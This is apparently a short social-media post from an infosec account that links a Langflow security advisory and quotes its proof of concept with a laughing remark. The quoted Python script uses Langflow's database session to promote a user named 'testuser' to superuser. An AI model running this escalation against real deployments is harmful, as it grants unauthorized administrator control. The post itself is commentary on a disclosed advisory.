Go hack more Langflow shit. That PoC... 🤣 https://github.com/langflow-ai/langfl...
:catte: @cR0w@infosec.exchange
Go hack more Langflow shit. That PoC... 🤣
https://github.com/langflow-ai/langflow/security/advisories/GHSA-8qpj-27x8-pwpq
import asyncio
from sqlmodel import select
from langflow.services.database.models.user.model import User
from langflow.services.deps import session_scope
async def escalate():
async with session_scope() as session:
stmt = select(User).where(User.username == 'testuser')
user = (await session.exec(stmt)).first()
if user:
user.is_superuser = True
session.add(user)
await session.commit()
asyncio.run(escalate())